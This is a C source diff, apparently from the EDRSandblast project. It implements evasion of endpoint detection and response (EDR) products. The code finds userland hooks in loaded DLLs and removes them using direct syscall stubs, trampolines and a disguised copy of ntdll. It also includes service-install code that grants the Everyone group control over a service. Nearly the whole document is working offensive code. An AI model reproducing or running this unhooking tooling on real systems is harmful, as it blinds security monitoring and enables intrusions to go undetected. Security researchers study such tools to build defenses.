PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
if (!strcmp(ntFunctionName, "NtProtectVirtualMemory")) {
pRtlGetVersion RtlGetVersion = (pRtlGetVersion)PE_functionAddr(ntdll_mem, "RtlGetVersion");
OSVERSIONINFOEXW versionInformation = { 0 };
RtlGetVersion(&versionInformation);
if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0 && versionInformation.dwBuildNumber <= 19044) {
syscallNumber = 0x50; // win10
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
syscallNumber = 0x4F; // win8.1 / 2012 R2
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
syscallNumber = 0x4E; // win8 / 2012
}
else if (versionInformation.dwMajorVersion <= 6) {
syscallNumber = 0x4D; // win7 / 2008 R2 & before
}
}
return syscallNumber;
}
DWORD GetSyscallNumberFromExportOrdering(LPCSTR ntFunctionName) {
DWORD syscallTableSize;
SYSCALL* syscallTable = GetSyscallTable(&syscallTableSize);
if (syscallTable == NULL) {
return INVALID_SYSCALL_NUMBER;
}
LPSTR zwFunctionName = _strdup(ntFunctionName);
if (zwFunctionName == NULL) {
return INVALID_SYSCALL_NUMBER;
}
*(WORD*)zwFunctionName = *(WORD*)"Zw";
DWORD down = 0;
DWORD up = syscallTableSize;
while (up - down > 1) {
DWORD mid = (down + up) / 2;
if (strcmp(syscallTable[mid].Name, zwFunctionName) <= 0) {
down = mid;
}
else {
up = mid;
}
}
if (!strcmp(syscallTable[down].Name, zwFunctionName)) {
return syscallTable[down].Number;
}
else {
return INVALID_SYSCALL_NUMBER;
}
}
PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName) {
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!shellcode) {
return NULL;
}
PBYTE pShellcode = shellcode;
// get the syscall number through different techniques and check they give the same result
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
DWORD(*GetSyscallNumberFunc[])(LPCSTR) = { GetSyscallNumberFromMemoryScanning , GetSyscallNumberFromExportOrdering , GetSyscallNumberFromHardcodedInformation };
for (DWORD i = 0; i < _countof(GetSyscallNumberFunc); i++) {
DWORD syscallNumberCandidate = GetSyscallNumberFunc[i](ntFunctionName);
if (syscallNumberCandidate != INVALID_SYSCALL_NUMBER) {
if (syscallNumber != INVALID_SYSCALL_NUMBER && syscallNumber != syscallNumberCandidate) {
return NULL;
}
syscallNumber = syscallNumberCandidate;
}
}
if (syscallNumber == INVALID_SYSCALL_NUMBER) {
return NULL;
}
*(DWORD*)&mov_eax_syscall_number[1] = syscallNumber;
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
pShellcode += sizeof(mov_eax_syscall_number);
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
pShellcode += sizeof(mov_r10_rcx);
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
pShellcode += sizeof(syscall_ret);
DWORD oldProtect;
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
return shellcode;
}
+623
View File
@@ -0,0 +1,623 @@
/*
* All the logic that detects, resolves, patch userland hooks and other related structures
*/
#include <Windows.h>
#include <PathCch.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileUtils.h"
#include "UserlandHooks.h"
#include "PEBBrowse.h"
#include "Undoc.h"
#include "Syscalls.h"
#if _DEBUG
int debugf(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
int res = vprintf(fmt, args);
va_end(args);
return res;
}
#else
#define debugf(...)
#endif
/*
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
*/
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
for (size_t i = 0; i < len; i++) {
if (mem[i] != disk[i]) {
size_t patchStartIndex = i;
if (NULL != lenPatch) {
while (mem[i] != disk[i] && i < len) {
i++;
}
*lenPatch = i - patchStartIndex;
}
return &mem[patchStartIndex];
}
}
if (NULL != lenPatch) {
*lenPatch = 0;
}
return NULL;
}
/*
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
* The list is a NULL-terminated array of "diff" elements
*/
PATCH_DIFF* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
size_t diffSize;
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
DWORD diffsListLen = 4;
size_t diffsListI = 0;
PATCH_DIFF* diffsList = malloc(diffsListLen * sizeof(PATCH_DIFF));
if (NULL == diffsList) {
debugf("bug in malloc in findDiffsInRange\n");
exit(1);
}
while (diffAddr != NULL && sizeToScan != 0) {
//debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
searchStartMem = (BYTE*)diffAddr + diffSize;
diffsList[diffsListI].mem_ptr = diffAddr;
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
diffsList[diffsListI].size = diffSize;
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
diffsListI++;
if (diffsListI >= diffsListLen) {
diffsListLen *= 2;
PVOID diffsListTmp = realloc(diffsList, diffsListLen * sizeof(PATCH_DIFF));
if (NULL == diffsListTmp) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
diffsList = diffsListTmp;
}
}
PVOID diffsListTmp = realloc(diffsList, (diffsListI + 1) * sizeof(PATCH_DIFF));
if (NULL == diffsListTmp) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
diffsList = diffsListTmp;
diffsList[diffsListI].mem_ptr = NULL;
diffsList[diffsListI].disk_ptr = NULL;
diffsList[diffsListI].size = 0;
return diffsList;
}
/*
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
* Only read-only sections are compared, since writable sections will obviously contain differences.
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
*/
PATCH_DIFF* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
PATCH_DIFF* list = NULL;
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
nonWritableSection != NULL;
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
debugf("Diffs in section %s:\n", nonWritableSection->Name);
DWORD sectionRVA = nonWritableSection->VirtualAddress;
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
LPVOID searchStartMem = sectionAddrMem;
LPVOID searchStartDisk = sectionAddrDisk;
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
}
return list;
}
/*
* Looks for a memory needle in a memory haystack
*/
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
{
if (!haystack)
return NULL;
if (!haystack_len)
return NULL;
if (!needle)
return NULL;
if (!needle_len)
return NULL;
PBYTE h = haystack;
while (haystack_len >= needle_len)
{
if (!memcmp(h, needle, needle_len))
return h;
++h;
--haystack_len;
}
return NULL;
}
/*
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
*/
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
{
SIZE_T haystack_len;
PVOID haystack;
PBYTE patternInExecutableMemory;
MEMORY_BASIC_INFORMATION mbi = { 0 };
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
{
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
break;
}
if (mbi.State != MEM_COMMIT) {
continue;
}
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
continue;
}
haystack = mbi.BaseAddress;
haystack_len = mbi.RegionSize;
while (haystack_len)
{
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
if (!patternInExecutableMemory) {
break;
}
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
return patternInExecutableMemory;
}
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
haystack = patternInExecutableMemory + 1;
}
}
return NULL;
}
VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) {
if (unhook_method == UNHOOK_NONE) {
return;
}
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
PATCH_DIFF* patches = hook->list_patches;
//merge every small patches into 1 patch to perform a single write
PATCH_DIFF patch = patches[0];
int nb_patches = 0;
while (patches[nb_patches].size) {
nb_patches++;
}
PATCH_DIFF lastPatch = patches[nb_patches - 1];
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
// Method used to get a NtProtectVirtualMemory function that is safe to use
switch (unhook_method) {
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
// in this case, it is not really "safe" to use
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
break;
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
GetTempPathW(MAX_PATH, ntdlolFilePath);
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
secondNtdll = LoadLibraryW(ntdlolFilePath);
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_DIRECT_SYSCALL:
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)CreateSyscallStubWithVirtuallAlloc("NtProtectVirtualMemory");
if (unmonitoredNtProtectVirtualMemory == NULL) {
printf_or_not("Something wrong happened with CreateSyscallStubWithVirtuallAlloc, aborting...\n");
exit(EXIT_FAILURE);
}
break;
default:
printf_or_not("Unhook method does not exist, exiting...\n");
exit(EXIT_FAILURE);
break;
}
//actually remove the hook
DWORD oldProtect;
PVOID patch_mem_ptr = patch.mem_ptr;
SIZE_T patch_size = patch.size;
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
exit(1);
}
for (size_t i = 0; i < patch.size; i++) {
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
}
status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
oldProtect,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
exit(1);
}
switch (unhook_method) {
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
FreeLibrary(secondNtdll);
}
DeleteFileW(ntdlolFilePath);
break;
}
}
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
PE* ntdllPE_mem = NULL;
PE* ntdllPE_disk = NULL;
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
size_t patchSize = 0;
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
if (patchSize == 0) {
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
}
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
PVOID trampoline = NULL;
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
if (NULL == trampoline) {
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
exit(1);
}
return (pNtProtectVirtualMemory)trampoline;
}
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
#if _WIN64
#define JUMP_SIZE 14
#else
#define JUMP_SIZE 5
#endif
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NULL == trampoline) {
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
exit(1);
}
DWORD oldProtect;
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
#if _WIN64
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
#else
* (trampoline + patchSize) = 0xE9; //far JMP
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
#endif
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
return (pNtProtectVirtualMemory)trampoline;
}
return NULL;
}
PVOID hookResolver(PBYTE hookAddr) {
PBYTE destination = hookAddr;
BOOL hasFollowedJmp = FALSE;
while (TRUE) {
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(destination, &mbi, sizeof(mbi));
if (mbi.State != MEM_COMMIT) {
return NULL;
}
switch (destination[0]) {
case 0xE9:
{
int diff = *((int*)(&destination[1]));
destination = &destination[5] + diff;
hasFollowedJmp = TRUE;
break;
}
#if _WIN64
case 0xFF:
{
BYTE selector = destination[1];
if (selector != 0x25) {
return NULL;
}
int diff = *((int*)(&destination[2]));
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
destination = (PBYTE)*offsetPtr;
hasFollowedJmp = TRUE;
break;
}
#endif
default:
if (!hasFollowedJmp) {
return NULL;
}
else {
return destination;
}
}
}
}
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
}
_Ret_notnull_ HOOK* searchHooks(const char* csvFileName) {
FILE* csvFile = NULL;
DWORD hookListSize = 8;
DWORD hookList_i = 0;
HOOK* hooksList = calloc(hookListSize, sizeof(HOOK));
if (NULL == hooksList) {
debugf("calloc failed\n");
exit(1);
}
if (csvFileName) {
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
perror("CSV file could not be opened:");
exit(1);
}
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
}
BOOL hooksFoundInLastModule = TRUE;
PBYTE disk_dllContent = NULL;
PE* diskDLL = NULL;
PE* memDLL = NULL;
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
if (dll_name.Buffer == NULL) {
continue;
}
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
if (!hooksFoundInLastModule) {
printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n");
if (disk_dllContent) {
free(disk_dllContent);
disk_dllContent = NULL;
}
if (memDLL) {
PE_destroy(memDLL);
memDLL = NULL;
}
if (diskDLL) {
PE_destroy(diskDLL);
diskDLL = NULL;
}
}
else {
hooksFoundInLastModule = FALSE;
}
printf_or_not("[+] [Hooks]\t%ws (%ws): 0x%p\n", dll_name.Buffer, moduleName, currentModuleEntry->DllBase);
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer
);
}
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
memDLL = PE_create(mem_dllImageBase, TRUE);
if (!memDLL || NULL == memDLL->exportDirectory) {
continue;
}
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
continue;
}
disk_dllContent = ReadFullFileW(currentModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
debugf("\tError : ReadFullFileW: 0x%x\n\n", GetLastError());
continue;
}
diskDLL = PE_create(disk_dllContent, FALSE);
if (NULL == diskDLL) {
debugf("\tError : PE_create\n");
continue;
}
PE_rebasePE(diskDLL, memDLL->baseAddress);
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
continue;
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
//check if hook was already detected in this function (due to export aliasing)
BOOL alreadyChecked = FALSE;
for (size_t i = 0; i < hookList_i; i++) {
if (hooksList[i].mem_function == mem_functionStart) {
alreadyChecked = TRUE;
break;
}
}
if (alreadyChecked)
continue;
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
printf_or_not("[+] [Hooks]\t\tHook detected in function %s (0x%08lx)", functionName, functionRVA);
hooksFoundInLastModule = TRUE;
PVOID jmpTarget = hookResolver(mem_functionStart);
if (NULL == jmpTarget) {
printf_or_not("...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
}
else {
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
printf_or_not(" ");
}
// TODO: Fix hooks resolver to identify dll
// printf_or_not("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer,
functionName,
jmpTarget,
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
);
}
if (hookList_i >= hookListSize) {
hookListSize *= 2;
PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK));
if (hooksListTmp == NULL) {
debugf("realloc failed\n");
exit(1);
}
hooksList = hooksListTmp;
}
printf_or_not("\n");
hooksList[hookList_i].mem_function = mem_functionStart;
hooksList[hookList_i].disk_function = disk_functionStart;
hooksList[hookList_i].functionName = functionName;
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
hookList_i++;
}
}
}
}
if (!hooksFoundInLastModule) {
printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n");
}
if (csvFileName) {
fclose(csvFile);
}
if (hookList_i >= hookListSize) {
hookListSize++;
PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK));
if (NULL == hooksListTmp) {
printf_or_not("realloc failed\n");
exit(1);
}
hooksList = hooksListTmp;
}
hooksList[hookList_i].mem_function = NULL;
hooksList[hookList_i].disk_function = NULL;
hooksList[hookList_i].functionName = NULL;
return hooksList;
}
/*
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
* "Rebase" the disk version to the same base address of the memory-mapped one for coherence
*/
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
PE* ntdllPE_mem_l = NULL;
PE* ntdllPE_disk_l = NULL;
if (ntdllMemPe_g == NULL) {
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
}
else {
ntdllPE_mem_l = ntdllMemPe_g;
}
if (ntdllDiskPe_g == NULL) {
PVOID disk_dllContent = ReadFullFileW(ntdllModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
exit(1);
}
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
}
else {
ntdllPE_disk_l = ntdllDiskPe_g;
}
if (ntdllPE_mem) {
*ntdllPE_mem = ntdllPE_mem_l;
}
if (ntdllPE_disk) {
*ntdllPE_disk = ntdllPE_disk_l;
}
}
void test_trampoline_search()
{
for (HOOK* h = searchHooks(NULL); h->disk_function; ++h)
{
PVOID trampoline = NULL;
printf_or_not("[+] [Hooks]\tLooking for %s trampoline...\n", h->functionName);
for (PATCH_DIFF* d = h->list_patches; d->disk_ptr; ++d)
{
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
if (trampoline)
{
printf_or_not("[+] [Hooks]\t\tTrampoline found at %p !\n", trampoline);
break;
}
}
if (!trampoline)
printf_or_not("[+] [Hooks]\t\tTRAMPOLINE NOT FOUND !\n");
}
}
+70 -198
View File
@@ -6,234 +6,57 @@
*/
#include <Windows.h>
#include <aclapi.h>
#include <Shlwapi.h>
#include <Tchar.h>
#include <time.h>
#include "DriverOps.h"
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
BOOL status = FALSE;
DWORD dwSizeNeeded;
PSECURITY_DESCRIPTOR oldSd, newSd;
SECURITY_DESCRIPTOR dummySdForXP;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
EXPLICIT_ACCESS ForEveryoneACL = {
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
SET_ACCESS,
NO_INHERITANCE,
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
};
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
if (oldSd) {
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
LocalFree(newSd);
}
FreeSid(ForEveryoneACL.Trustee.ptstrName);
}
}
LocalFree(oldSd);
}
}
return status;
}
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
SC_HANDLE hSC = NULL, hS = NULL;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (hSC) {
hS = OpenService(hSC, serviceName, SERVICE_START);
if (hS) {
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
}
else {
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
if (hS) {
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
if (ServiceAddEveryoneAccess(hS)) {
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
}
else {
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("CreateService"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("OpenService"));
}
}
if (hS) {
if (startIt) {
if (StartService(hS, 0, NULL)) {
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
}
else {
PRINT_ERROR_AUTO(TEXT("StartService"));
return GetLastError();
}
}
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
else {
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
return GetLastError();
}
return 0x0;
}
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
BOOL status = FALSE;
SC_HANDLE hSC, hS;
SERVICE_STATUS serviceStatus;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
hS = OpenService(hSC, serviceName, dwDesiredAccess);
if (hS) {
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return status;
}
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
// Used as a stop point for recursive calls to ServiceUninstall.
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
return FALSE;
}
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
Sleep(OP_SLEEP_TIME);
}
else {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
SERVICE_STATUS status;
BOOL deleted = FALSE;
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
if (hS) {
if (QueryServiceStatus(hS, &status)) {
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
CloseServiceHandle(hS);
CloseServiceHandle(hSC);
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
else {
deleted = DeleteService(hS);
CloseServiceHandle(hS);
}
}
}
CloseServiceHandle(hSC);
}
if (!deleted) {
